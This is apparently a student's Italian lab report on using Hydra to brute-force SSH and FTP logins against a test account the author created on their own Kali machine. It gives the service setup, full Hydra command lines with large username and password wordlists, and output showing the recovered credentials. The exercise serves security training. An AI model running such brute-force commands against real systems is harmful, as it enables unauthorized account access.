

CONSEGNA 29 FEBBRAIO S6L4

L'obiettivo di oggi è quello di fare pratica con Hydra per craccare l'autenticazione di due servizi di rete: SSH e FTP.

Configurazione e cracking SSH

Dopo aver creato un nuovo utente `test_user` con password `testpass`, ho attivato il servizio SSH. Il servizio SSH consente di effettuare una connessione da remoto su un sistema (in questo il mio sistema, Kali) per eseguire dei comandi e gestire dei servizi attivi. Terminata la configurazione del servizio, facendo anche un test sulla connessione (Fig.1), ho lanciato Hydra per craccare password e username del servizio.

```
(kali㉿kali)-[~]
$ sudo service ssh start

(kali㉿kali)-[~]
$ sudo nano /etc/ssh/sshd_config

(kali㉿kali)-[~]
$ ssh test_user@192.168.50.100
The authenticity of host '192.168.50.100 (192.168.50.100)' can't be established.
ED25519 key fingerprint is SHA256:AKLq6pnU3ldSudlNsVHMz8//sAYkut39k7C+paGQEsw
.
This key is not known by any other names.
Are you sure you want to continue connecting (yes/no/[fingerprint])? y
Please type 'yes', 'no' or the fingerprint: yes
Warning: Permanently added '192.168.50.100' (ED25519) to the list of known hosts.
ssh_dispatch_run_fatal: Connection to 192.168.50.100 port 22: Broken pipe

(kali㉿kali)-[~]
$ ssh test_user@192.168.50.100
test_user@192.168.50.100's password:
Linux kali 6.5.0-kali3-amd64 #1 SMP PREEMPT_DYNAMIC Debian 6.5.6-1kali1 (2023-10-09) x86_64

The programs included with the Kali GNU/Linux system are free software;
the exact distribution terms for each program are described in the
individual files in /usr/share/doc/*/copyright.

Kali GNU/Linux comes with ABSOLUTELY NO WARRANTY, to the extent
permitted by applicable law.
(test_user㉿kali)-[~]
$
```

Fig.1

In Fig.2 possiamo vedere che Hydra ha trovato la password e l'username

```
(kali@kali)-[/home/test_user]
$ hydra -L /usr/share/seclists/Usernames/xato-net-10-million-usernames.txt -P /usr/share/seclists/Passwords/xato-net-10-million-passwords-1000000.txt 192.168.50.100 -t4 ssh -v

Hydra v9.5 (c) 2023 by van Hauser/THC & David Maciejak - Please do not use in military or secret service organizations, or for illegal purposes (this is non-binding, these *** ignore laws and ethics anyway).

Hydra (https://github.com/vanhauser-thc/thc-hydra) starting at 2024-02-29 09:18:51
[DATA] max 4 tasks per 1 server, overall 4 tasks, 8295472590912 login tries (l:8295456/p:1000002), ~2073868147728 tries per task
[DATA] attacking ssh://192.168.50.100:22/
[ATTEMPT] target 192.168.50.100 - login "test_user" - pass "testpass" - 1 of 8295472590912 [child 0] (0/0)
[ATTEMPT] target 192.168.50.100 - login "test_user" - pass "123456" - 2 of 8295472590912 [child 1] (0/0)
[ATTEMPT] target 192.168.50.100 - login "test_user" - pass "password" - 3 of 8295472590912 [child 2] (0/0)
[ATTEMPT] target 192.168.50.100 - login "test_user" - pass "12345678" - 4 of 8295472590912 [child 3] (0/0)
[22][ssh] host: 192.168.50.100 login: test_user password: testpass
[ATTEMPT] target 192.168.50.100 - login "info" - pass "testpass" - 1000003 of 8295472590912 [child 0] (0/0)
[ATTEMPT] target 192.168.50.100 - login "info" - pass "123456" - 1000004 of 8295472590912 [child 3] (0/0)
```

Fig.2

In Fig.3 invece è mostrato l'attacco che ho lanciato contro il servizio ftp: Il servizio ftp è un protocollo di comunicazione usato per il trasferimento file da un server a un client su una rete. Avendo inserito la password e l'username all'inizio delle liste che ho inserito su hydra, la scansione è stata molto veloce.

```
(kali@kali)-[/home/test_user]
$ hydra -L /usr/share/seclists/Usernames/xato-net-10-million-usernames.txt -P /usr/share/seclists/Passwords/xato-net-10-million-passwords-1000000.txt 192.168.50.100 -t4 ftp -v

Hydra v9.5 (c) 2023 by van Hauser/THC & David Maciejak - Please do not use in military or secret service organizations, or for illegal purposes (this is non-binding, these *** ignore laws and ethics anyway).

Hydra (https://github.com/vanhauser-thc/thc-hydra) starting at 2024-02-29 09:18:27
[DATA] max 4 tasks per 1 server, overall 4 tasks, 8295472590912 login tries (l:8295456/p:1000002), ~2073868147728 tries per task
[DATA] attacking ftp://192.168.50.100:21/
[ATTEMPT] target 192.168.50.100 - login "test_user" - pass "testpass" - 1 of 8295472590912 [child 0] (0/0)
[ATTEMPT] target 192.168.50.100 - login "test_user" - pass "123456" - 2 of 8295472590912 [child 1] (0/0)
[ATTEMPT] target 192.168.50.100 - login "test_user" - pass "password" - 3 of 8295472590912 [child 2] (0/0)
[ATTEMPT] target 192.168.50.100 - login "test_user" - pass "12345678" - 4 of 8295472590912 [child 3] (0/0)
[21][ftp] host: 192.168.50.100 login: test_user password: testpass
[ATTEMPT] target 192.168.50.100 - login "info" - pass "testpass" - 1000003 of 8295472590912 [child 0] (0/0)
```

Fig.3